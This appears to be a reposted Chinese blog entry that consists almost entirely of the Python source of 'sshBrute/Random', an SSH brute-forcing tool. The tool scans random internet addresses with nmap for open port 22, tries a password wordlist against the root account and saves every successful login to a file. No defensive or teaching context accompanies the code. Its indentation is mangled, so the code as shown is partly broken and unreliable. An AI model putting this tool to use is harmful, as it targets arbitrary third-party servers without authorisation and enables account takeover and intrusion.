SSH BruteForcer Source code

最新推荐文章于 2018-01-15 10:32:00 发布

转载最新推荐文章于 2018-01-15 10:32:00 发布 · 1k 阅读

文章标签：

#ssh #login #user #command #exception #file

Private 专栏收录该内容

30 篇文章

订阅专栏

本文介绍了一个使用Python编写的SSH暴力破解工具，该工具利用nmap扫描开放的SSH端口，并尝试使用字典进行暴力破解登录。

#!/usr/bin/python
#SSH BruteForcer that scans for random
#open ssh ports using nmap and then brute
#forces them.

#http://www.darkc0de.com
#d3hydr8[at]gmail[dot]com

import sys, time, StringIO, commands, re

#Set the successful login file.
save_file = "SSH_Logins.txt"
#Set verbose mode: 1=on 0=off
verbose = 1
#Set the user to use.
user = "root"

try:
import pexpect, pxssh
except(ImportError):
print "\nYou need the pexpect module."
print "http://www.noah.org/wiki/Pexpect\n"
sys.exit(1)

def scan():
args = 'nmap -iR 1 -p 22 -open | grep open -B 3'
nmap = StringIO.StringIO(commands.getstatusoutput(args)[1]).read()
ipaddr = re.findall("\d*\.\d*\.\d*\.\d*", nmap)
if ipaddr:
return ipaddr[0]

def brute(ip, word):
if verbose != 0:
print "Trying:",word
   try:
   s = pxssh.pxssh()
   s.login (ip, user, word, login_timeout=10)
   s.sendline (command)
   s.prompt()
   print "\n",s.before
   s.logout()
print "\t[!] Login Success:",user, word,"\n"
logins.writelines("SSH Login:"+ip+":22 "+user+" "+word+"\n")
   except Exception, e:
   #print "[-] Failed"
pass
except KeyboardInterrupt:
print "\n[-] Quit\n"
logins.close()
sys.exit(1)

print "\n\t d3hydr8:darkc0de.com sshBrute/Random v1.0"
print "\t----------------------------------------------"

if len(sys.argv) != 3:
print "\nUsage : ./sshbrute_random.py <how many> <wordlist>"
print "Eg: ./sshbrute_random.py 1000 words.txt\n"
sys.exit(1)

num = sys.argv[1]
command = 'uname -a'
logins = open(save_file, "a")

try:
words = open(sys.argv[2], "r").readlines()
except(IOError):
   print "\n[-] Error: Check your wordlist path\n"
   sys.exit(1)

print "\n[+] Loaded:",len(words),"words"
print "[+] User:",user
print "[+] Save file:",save_file
if verbose != 0:
print "[+] Verbose Mode: On"
else:
print "[+] Verbose Mode: Off"
print "[+] Scanning:",num,"ips\n"

for x in xrange(int(num)):
print "[-] Scanning:",x+1,"of",num
ip = scan()
if ip != None:
print "\n\t[+] BruteForcing:",ip,"\n"
for word in words:
#Change this time if needed
time.sleep(0.5)
brute(ip, word.replace("\n",""))
logins.close()
print "\n[-] Done\n"